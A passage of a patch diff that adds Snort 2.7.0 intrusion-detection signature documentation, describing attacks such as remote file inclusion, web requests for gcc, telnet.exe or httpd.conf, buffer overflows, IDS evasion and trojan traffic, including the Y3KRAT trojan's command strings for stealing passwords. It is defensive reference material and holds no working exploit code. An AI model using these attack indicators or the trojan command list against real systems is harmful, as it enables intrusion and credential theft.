+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"message_view.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1341.txt
+++ snort-2.7.0/doc/signatures/1341.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+1341
+
+--
+Summary:
+Attempted gcc command access via web
+
+--
+Impact:
+Attempt to compile a binary on a host.
+
+--
+Detailed Information:
+This is an attempt to compiile a C or C++ source on a host. The gcc command is the GNU project's C and C++ compiler used to compile C and C++ source files into executable binary files. The attacker could possibly compile a program needed for other attacks on the system or install a binary program of his choosing.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains '/usr/bin/gcc'in the URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. This command may also be requested on a command line should the attacker gain access to the machine. Whenever possible, sensitive files and certain areas of the filesystem should have the system immutable flag set to prevent files from being added to the host. On BSD derived systems, setting the systems runtime securelevel also prevents the securelevel from being changed. (note: the securelevel can only be increased).
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1342
+sid: 1343
+sid: 1344
+sid: 1345
+sid: 1346
+sid: 1347
+sid: 1348
+
+--
--- snort-2.7.0.orig/doc/signatures/348.txt
+++ snort-2.7.0/doc/signatures/348.txt
@@ -0,0 +1,61 @@
+SID:
+348
+--
+
+Rule:
+--
+
+Summary:
+This event is generated when an attack attempt is made against an ftp 
+server possibly running a vulnerable ftpd
+--
+
+Impact:
+Possible remote execution of commands on the affected server as the root user
+--
+
+Detailed Information:
+The Washington University ftp daemon (wu-ftpd) does not perform proper 
+checking in its SITE EXEC implementation, and allows user input to be 
+sent directly to printf. This allows an attacker to overwrite data and 
+eventually execute code on the server.
+
+This rule detects code from a published exploit called bobek.c
+--
+
+Affected Systems:
+Any system running wu-ftpd 2.6 .0 or below
+--
+
+Attack Scenarios:
+A remote attacker will attempt to execute commands on the ftp server 
+with root user privileges, over writing or modifying system files. This 
+can be done with anonymous and real user logins.
+--
+
+Ease of Attack:
+Simple, Exploits exist
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Upgrade to latest version which has fixes for this problem. Maybe even get rid of wu-ftp with something more secure
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3047.txt
+++ snort-2.7.0/doc/signatures/3047.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+3047
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ethereal.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS).
+
+--
+Detailed Information:
+Ethereal is a multi-platform network protocol analyser capable of
+displaying network data to the user in a graphical user interface.
+
+An error in the processing of access control lists (ACLs) concerning the
+size of the access control entries (ACEs) may lead to a Denial of Service
+(DoS) condition in Ethereal. The ACL parsing routine trusts the size of
+the ACE given in the packet during processing. If a sufficiently large ACL
+structure is supplied combined with a specified ACE size of 0, it is
+possible to cause the DoS condition to occur.
+
+--
+Affected Systems:
+	Ethereal 0.10.7 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to craft packet data containing large NT ACLs, the
+attacker then needs to specify one of the ACEs as having a size of 0.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2271.txt
+++ snort-2.7.0/doc/signatures/2271.txt
@@ -0,0 +1,58 @@
+--
+Rule:
+
+--
+Sid:
+2271
+
+--
+Summary:
+This event is generated when an attacker attempts to connect to the
+trojan FsSniffer.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+The FsSniffer program is a Trojan Horse designed to allow unauthorized
+external access to an infected host.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise may be due to the exploitation of another vulnerability and
+the attacker is leaving another way into the machine for further use.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+Security tool probing for netbus
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Delete the Trojan and kill any associated processes.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3003.txt
+++ snort-2.7.0/doc/signatures/3003.txt
@@ -0,0 +1,67 @@
+Rule:  
+
+--
+Sid:
+3003
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the Microsoft implementation of the ASN.1 Library.
+
+--
+Impact:
+Serious. Execution of arbitrary code, DoS.
+
+--
+Detailed Information:
+A buffer overflow condition exists in the Microsoft implementation of
+the ASN.1 Library. It may be possible for an attacker to exploit this
+condition by sending specially crafted authentication packets to a host
+running a vulnerable operating system.
+
+When the taget system decodes the ASN.1 data, exploit code may be included 
+in the data that may be excuted on the host with system level privileges. 
+Alternatively, the malformed data may cause the service to become 
+unresponsive thus causing the DoS condition to occur.
+
+--
+Affected Systems:
+	Microsoft Windows NT
+	Microsoft Windows NT Terminal Server Edition
+	Microsoft Windows 2000
+	Microsoft Windows XP
+	Microsoft Windows 2003
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+US-CERT
+http://www.us-cert.gov/cas/techalerts/TA04-041A.html
+
+Microsoft
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms04-007.asp
+
+--
--- snort-2.7.0.orig/doc/signatures/2283.txt
+++ snort-2.7.0/doc/signatures/2283.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2283
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application MediaWiki running on a server.
+
+--
+Impact:
+Possible execution of arbitrary code and unauthorized administrative
+access to the target system.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application MediaWiki . This application
+does not perform stringent checks when handling user input, this may 
+lead to the attacker being able to execute PHP code and include php files 
+of the attackers choosing.
+
+--
+Affected Systems:
+	MediaWiki MediaWiki-stable 20031107
+	MediaWiki MediaWiki-stable 20030829
+
+--
+Attack Scenarios:
+An attacker can exploit weaknesses to gain access as the administrator 
+by supplying input of their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3196.txt
+++ snort-2.7.0/doc/signatures/3196.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+3196
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft WINS.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft WINS such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker would need to send multiple malformed request to the WINS
+service running on a host.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Uninstall the WINS service.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3082.txt
+++ snort-2.7.0/doc/signatures/3082.txt
@@ -0,0 +1,145 @@
+Rule: 
+
+--
+Sid: 
+3082
+-- 
+Summary: 
+This event is generated when a Y3KRAT 1.5 client attempts to respond to the Y3KRAT 1.5 server.
+
+-- 
+Impact: 
+If connected, the attacker could execute a multitude of functions resulting in a complete compromise of the victim's machine.
+
+--
+Detailed Information:
+Y3KRAT 1.5 uses port 5880 by default. This port can be changed by the attacker. 
+
+The following is a list of the commands for many of Y3KRAT 1.5's functions (Command Name: Command String):
+
+AIM Passwords: aolpwd
+AIM Spy: aolspy
+Change Internet Explorer Caption: changeiecaptest
+Chat With Server: chatsrvY3K Rat user
+Clipboard: pastefromclip
+Change Desktop Color Scheme: clsys
+Change Recycle Bin Name: nrbin
+Change System Name: sysname
+Change Time: time
+Video List: getvideolist
+Dialup: autoconnect
+Access Directories: getclientgetpaths
+Get Directory Paths: getpaths
+Disable Mouse Buttons: dbuttons
+Disable Num Lock: dnumlock
+Disable System Keys: dsyskeys
+Disable All Keys: dkeys{all}
+DOS Commands: doscommands
+Fast Mouse: fastmouseon
+Find File: findfile
+Flip Screen: flip1hor
+FTP: openftp21
+Go To URL: gotourl
+Hide Taskbar: hidetask
+Hide Clock: hideclock
+Hide Desktop Icons: hidedeskicons
+Hide Start Button: hidestart
+Hide System Tray: hidesystray
+ICQ Information: getclienticqinfo
+ICQ Passwords: geticqpass
+ICQ Spy: icqspy
+Internet Explorer Spy: iespy
+General Information: general
+Lights On: lightson
+Lights Off: lightsoff
+Live Shot: cap
+Logged Passwords: getpasses
+Logoff: boot41
+Make File: makefile
+Matrix Chat: matrix
+Modify File (Read System File): readsysfiles
+Modify File (Write System File): writesysfiles
+Monitor Off: enablestandby
+Mouse Settings (Set Position): setpos
+Mouse Settings (Freeze Mouse Position): freezepos
+Mouse Settings (Speed Up Cursor): speedcursor
+MSN Spy: msnspy
+Napster Spy: napsterspy
+Net Get: netget
+NetStat (Read): netstatread
+NetStat (Kill): netstatkill
+CD-ROM open: cdopen
+CD-ROM close: cdclose
+Open File: getfiles
+Overclock: upmhz
+Play Sound: snd (*followed by the sound, for example, err for the error sound*)
+Power Off: boot31
+Print: print
+Ras Passwords: getras
+Remove Server: killserver
+Change Resolution: setdevmode
+Restart: boot21
+Safe Mode: safemode
+Screenshot: cap
+Send Keys: sendtextf
+Send Message: messText
+Show Windows With Text: showwin
+Shutdown: boot11
+Swap Mouse Buttons: swapbuttons
+Write System Error: writesystem
+Yahoo Spy: yahoospy
+
+
+--
+Affected Systems:
+	Windows 95, 98, ME, NT, 2000
+
+--
+
+Attack Scenarios: 
+The victim must first install the server. Be wary of suspicious files because they often can be backdoors in disguise.
+Once the victim mistakenly installs the server program, the attacker usually will employ an IP scanner program
+to find the IP addresses of victims that have installed the program. Then the attacker enters the IP address and 
+presses the connect button and he has access to your computer.
+
+-- 
+
+Ease of Attack: 
+Easy. Simply a matter of pressing the connect button once the victim has installed the server.
+
+
+-- 
+
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+-- 
+
+Corrective Action: 
+Remove the Dcomcnofg key located at the following places in the registry:
+HKEY_LOCAL_MACHINES\Software\Microsoft\Windows\CurrentVersion\Run 
+HKEY_LOCAL_MACHINES\Software\Microsoft\Windows\CurrentVersion\RunServices
+HKEY_USERS\Default\Software\Microsoft\Windows\CurrentVersion\Run
+
+Reboot the computer or close Dcomcnofg.exe.
+
+Delete Dcomcnofg.exe from the windows system directory.
+
+If found, delete server.exe and kill the process called server.exe.
+
+--
+Contributors:
+Sourcefire Research Team
+Ricky Macatee <rmacatee@sourcefire.com> 
+
+-- 
+Additional References:
+
+Dark-E:
+http://www.dark-e.com/archive/trojans/y3krat/15/index.shtml
+
+--
--- snort-2.7.0.orig/doc/signatures/100000367.txt
+++ snort-2.7.0/doc/signatures/100000367.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000367
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_board.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_board.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2659.txt
+++ snort-2.7.0/doc/signatures/2659.txt
@@ -0,0 +1,54 @@
+Rule: 
+
+--
+Sid: 
+2659
+
+-- 
+Summary: 
+This rule is intended to increase the accuracy of rules designed to
+generate events based on attempts to exploit implementations of Secure
+Socket Layer (SSL) version 2.
+
+-- 
+Impact: 
+None. This is a protocol decode rule that does not generate events.
+
+--
+Detailed Information:
+This is a protocol decode rule that does not generate events.
+
+--
+Affected Systems:
+NA
+
+--
+Attack Scenarios: 
+NA
+
+-- 
+Ease of Attack: 
+NA
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+NA
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1066.txt
+++ snort-2.7.0/doc/signatures/1066.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+1066
+
+--
+Summary:
+This event is generated when an attempt is made to access telnet.exe on a remote
+web server via a web request.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to acess telnet.exe on a remote
+web server.  The attacker can use telnet to directly connect to other computers
+and launch attacks from the web server.
+
+This event indicates that an attempt has been made to execute the
+program telnet.exe using a web request.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+The attacker may use telnet to access other machines or compromise the
+resources on the target system.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/111-15.txt
+++ snort-2.7.0/doc/signatures/111-15.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+111-15
+
+-- 
+Summary: 
+This event is generated when the pre-processor stream4
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. Possible attempt to evade an IDS.
+
+--
+Detailed Information:
+This event is generated whent the pre-processor stream4 detects abnormal
+Time To Live (TTL) values in a datastream. This may indicate an attempt
+to evade an IDS.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+An attacker can set the TTL values of all packets to a value so small
+that only the IDS will see the packet and it will not get to the target
+system.
+
+-- 
+Ease of Attack: 
+Simple. Tools such as fragroute enable an attacker to do this.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Ensure the system is up to date with any appropriate vendor supplied patches.
+
+--
+Contributors:
+Martin Roesch <roesch@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Insertion, Evasion, and Denial of Service: Eluding Network Intrusion
+Detection:
+http://www.insecure.org/stf/secnet_ids/secnet_ids.html
+
+--
--- snort-2.7.0.orig/doc/signatures/1232.txt
+++ snort-2.7.0/doc/signatures/1232.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1232
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1020.txt
+++ snort-2.7.0/doc/signatures/1020.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+1020
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow associated with a file with a .idc extension. 
+
+--
+Impact:
+Remote access.  This attack may permit the execution of arbitrary commands on the vulnerable server.
+
+--
+Detailed Information:
+Microsoft Internet Information Service (IIS) supports file extensions including .idc that call the ISM.DLL.  A buffer overflow vulnerability exists in ISM.DLL code when it receives a malformed request, permitting the execution of arbitrary code.  
+
+--
+Affected Systems:
+IIS 4.0 hosts
+
+--
+Attack Scenarios:
+An attacker can send a malformed request containing a file name with an extension of .idc, possibly causing a buffer overflow.
+
+--
+Ease of Attack:
+Simple.  Exploit code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to a more current version of IIS.
+ 
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0874
+
+Bugtraq:
+http://www.securityfocus.com/bid/307
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1837.txt
+++ snort-2.7.0/doc/signatures/1837.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1837
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "alt.binaries.pictures.tinygirls".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "alt.binaries.pictures.tinygirls".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website. etc.etc.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1373.txt
+++ snort-2.7.0/doc/signatures/1373.txt
@@ -0,0 +1,48 @@
+Rule:
+
+--
+Sid:
+1373
+
+--
+Summary:
+Attempted httpd configuration access via web
+
+--
+Impact:
+Attempt to gain information on system processes on webserver
+
+--
+Detailed Information:
+This is an attempt to gain intelligence on the configuration of a webserver. The httpd.conf file lists the configuration of the webserver including modules loaded on start and access authorization files. The attacker could possibly gain information needed for other attacks on the host.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains 'conf/httpd.conf'in the URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. Making the file read only by the superuser on the system will disallow viewing of the file by other users.
+
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/3027.txt
+++ snort-2.7.0/doc/signatures/3027.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3027
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000676.txt
+++ snort-2.7.0/doc/signatures/100000676.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000676
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "missing.php" using a remote file being passed as the 
+"header_prog" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "header_prog" parameter in the "missing.php" script used 
+by the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/812.txt
+++ snort-2.7.0/doc/signatures/812.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+812
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000801.txt
+++ snort-2.7.0/doc/signatures/100000801.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000801
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Pivot" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "js_name" parameter in the "editor_menu.php" script used by the "Pivot" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Pivot
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
